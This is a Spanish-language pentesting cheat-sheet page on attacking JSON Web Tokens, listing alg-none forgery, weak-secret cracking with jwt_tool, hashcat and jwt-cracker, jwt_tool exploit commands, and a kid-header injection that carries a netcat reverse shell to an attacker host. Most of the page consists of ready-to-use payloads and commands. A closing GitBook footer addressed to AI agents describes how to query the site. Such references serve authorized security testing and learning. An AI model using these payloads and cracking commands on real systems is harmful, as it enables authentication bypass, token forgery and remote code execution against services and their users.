> For the complete documentation index, see [llms.txt](https://web.mrw0l05zyn.cl/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://web.mrw0l05zyn.cl/explotacion/autenticacion-y-autorizacion/json-web-token-jwt.md).

# JSON Web Token (JWT)

## Sin verificación de firma <a href="#jwt-sin-verificacion-de-firma" id="jwt-sin-verificacion-de-firma"></a>

Realizar libremente cualquier cambio en el token JWT.

## Algoritmo `none` <a href="#jwt-algoritmo-none" id="jwt-algoritmo-none"></a>

JWT admite un algoritmo `none` (ningún algoritmo), que el servidor puede aceptar si utiliza una biblioteca obsoleta para procesar JWT. Si `alg` (abreviatura de algoritmo) se establece en `none`, cualquier token se considerará válido si la firma se establece en vacío.

```sh
# JSON header
{"alg":"none","typ":"JWT"}

# JWT
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.base64UrlEncode(payload).

# JWT Tool
jwt_tool.py -X a <jwt>
```

## Confusión de algoritmo

* <https://github.com/silentsignal/rsa_sign2n>

## Secreto débil <a href="#jwt-secreto-debil" id="jwt-secreto-debil"></a>

### Ataque de diccionario <a href="#jwt-secreto-debil-ataque-de-diccionario" id="jwt-secreto-debil-ataque-de-diccionario"></a>

```sh
# JWT Tool
jwt_tool.py -C -d <path-wordlist> <jwt>

# Hashcat
echo "<jwt>" > jwt.txt
hashcat -m 16500 -a 0 jwt.txt <path-wordlist>
```

### Ataque de fuerza bruta <a href="#jwt-secreto-debil-ataque-de-fuerza-bruta" id="jwt-secreto-debil-ataque-de-fuerza-bruta"></a>

```sh
# JWT Cracker
jwt-cracker <jwt>
jwt-cracker <jwt> <alphabet> <max-length>
```

## Inyecciones en parámetros de encabezado <a href="#jwt-inyecciones-en-parametros-de-encabezado" id="jwt-inyecciones-en-parametros-de-encabezado"></a>

### KID <a href="#jwt-inyecciones-en-parametro-de-encabezado-kid" id="jwt-inyecciones-en-parametro-de-encabezado-kid"></a>

Los servidores pueden usar varias claves criptográficas para firmar diferentes tipos de datos, no solo JWT. Por esta razón, el encabezado de un JWT puede contener el parámetro `kid` (ID de clave), que ayuda al servidor a identificar qué clave usar al verificar la firma de un token JWT.

Ejecución de comandos con reverse shell.

```json
{
  "alg": "HS256",
  "typ": "JWT",
  "kid": "default.key\";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <attacker-IP-address> <listen-port> >/tmp/f;\""
}
```

## Otros claims

* jwk
* jku
* x5c
* x5u

## JWT Tool

* <https://github.com/ticarpi/jwt_tool>

Ejecución de todas las pruebas (all test).

```shell
# at = all test
jwt_tool.py -M at -t "https://<target>/<api>" -rh "Authorization: Bearer <jwt-token>" -np

# Revisión de resultados
jwt_tool.py -Q "jwttool_<id>"
```

Explotación de vulnerabilidades conocidas.

```shell
# a = alg:none
jwt_tool.py -X a <jwt>

# n = firma en null
jwt_tool.py -X n <jwt>

# b = contraseña en blanco aceptada en la firma
jwt_tool.py -X b <jwt>

# Secreto débil (ataque de diccionario)
jwt_tool.py -C -d <path-wordlist> <jwt>
```

Ingresar/modificar de información de JSON Web Token (JWT).

```shell
# Modo interactivo
jwt_tool.py -T <jwt>

# Ingreso/modificación directa
jwt_tool.py -I -S <algorithm> -pc '<name>' -pv '<value>' -p '<secret>' <jwt>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://web.mrw0l05zyn.cl/explotacion/autenticacion-y-autorizacion/json-web-token-jwt.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
